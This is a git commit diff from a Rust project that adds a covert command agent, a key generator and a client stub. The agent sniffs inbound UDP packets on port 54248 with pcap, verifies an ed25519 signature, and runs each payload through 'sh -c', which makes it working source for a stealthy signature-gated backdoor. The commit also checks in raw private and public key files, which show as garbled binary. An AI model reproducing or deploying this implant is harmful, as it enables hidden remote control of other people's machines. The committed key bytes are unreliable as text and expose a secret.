feat: added command parsing and spawning

This commit is contained in:
Andrew Rioux
2023-04-28 17:19:09 -04:00
parent e0c7e1c240
commit 9e893dbce9
13 changed files with 528 additions and 68 deletions

View File

@@ -1,61 +0,0 @@
use tokio::{self, sync::mpsc};
use tokio_stream::StreamExt;
use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{anyhow, bail};
#[tokio::main]
async fn main() -> anyhow::Result<()> {
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth"))
.ok_or(anyhow!("Could not get an ethernet interface"))?;
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let interface = interface.activate()?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet")
}
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket)
}
let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send)
} {
match evt {
EventType::Packet(pkt) => {
if let Ok(pkt) = pkt {
tokio::spawn(handle_command(pkt, packet_sender.clone()));
}
}
EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?;
}
}
}
Ok(())
}
async fn handle_command(
command: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>
) -> anyhow::Result<()> {
Ok(())
}

View File

@@ -6,7 +6,10 @@ edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process"] }
pcap-sys = { path = "../../pcap-sys" }
tokio = { version = "1.21.2", features = ["net", "rt", "macros", "rt-multi-thread", "sync", "process", "io-util"] }
pcap-sys = { path = "../../../pcap-sys" }
anyhow = "1.0.70"
tokio-stream = "0.1.14"
ed25519-dalek = "1.0.1"
log = "0.4.17"
simple_logger = "4.1.0"

View File

@@ -0,0 +1,143 @@
use std::process::Stdio;
use std::{sync::Arc, ffi::OsStr};
use std::os::unix::ffi::OsStrExt;
use tokio::{self, sync::mpsc, process, io::AsyncReadExt};
use tokio_stream::StreamExt;
use pcap_sys::{self, packets::EthernetPacket};
use anyhow::{Context, anyhow, bail};
use ed25519_dalek::{PublicKey, Verifier, Signature};
const PUBKEY: &[u8] = include_bytes!("../../key-generator/pubkey");
#[tokio::main]
async fn main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new().init()?;
let pubkey = Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
log::info!("Pubkey is good");
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth"))
.ok_or(anyhow!("Could not get an ethernet interface"))?;
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let mut interface = interface.activate()?;
interface.set_filter("inbound and udp port 54248", true, None)?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet")
}
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket)
}
let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send)
} {
match evt {
EventType::Packet(pkt) => {
if let Ok(pkt) = pkt {
let packet_sender_clone = packet_sender.clone();
let pubkey_clone = pubkey.clone();
tokio::spawn(async move {
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await {
log::warn!("Error handling packet: {e}");
}
});
}
}
EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?;
}
}
}
Ok(())
}
async fn handle_command(
pubkey: Arc<PublicKey>,
eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
let data = udp_pkt.get_data();
if data.len() < 65 {
bail!("Packet was too short")
}
let signature: [u8; 64] = data[..64]
.try_into()
.context("could not get signature from command")?;
let signature = Signature::from(signature);
let cmd = &data[64..];
pubkey.verify(cmd, &signature).context("message provided was unauthenticated")?;
let cmd = OsStr::from_bytes(cmd);
log::info!("Received command to execute: {cmd:?}");
let child = process::Command::new("sh")
.arg("-c")
.arg(cmd)
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped())
.spawn()?;
let mut stdout = child.stdout.ok_or(anyhow!("could not get child process stdout"))?;
let mut stderr = child.stderr.ok_or(anyhow!("could not get child process stdout"))?;
enum Output {
Out,
Err
}
let mut stdout_buffer = [0u8; 1024];
let mut stderr_buffer = [0u8; 1024];
loop {
let (out_type, Ok(len)) = tokio::select! {
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
} else { continue; };
if len == 0 {
break;
}
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer
}[..len];
}
log::info!("Done executing command {cmd:?}");
Ok(())
}

View File

@@ -0,0 +1,8 @@
[package]
name = "client"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]

View File

@@ -0,0 +1,3 @@
fn main() {
println!("Hello, world!");
}

View File

@@ -0,0 +1,10 @@
[package]
name = "key-generator"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
ed25519-dalek = "1.0.1"
rand = "0.7"

View File

@@ -0,0 +1,2 @@
<EFBFBD><EFBFBD>c<EFBFBD>I
<EFBFBD>7@<40><><EFBFBD><EFBFBD><EFBFBD>BU <20><><EFBFBD>j<EFBFBD>TR]<5D><>z"p*o

View File

@@ -0,0 +1 @@
ґ:+6<><36>ɲ<EFBFBD><C9B2>{

View File

@@ -0,0 +1,13 @@
use std::{fs, io};
use ed25519_dalek::Keypair;
fn main() -> io::Result<()> {
let mut csprng = rand::thread_rng();
let keypair = Keypair::generate(&mut csprng);
fs::write("privkey", keypair.secret)?;
fs::write("pubkey", keypair.public)?;
Ok(())
}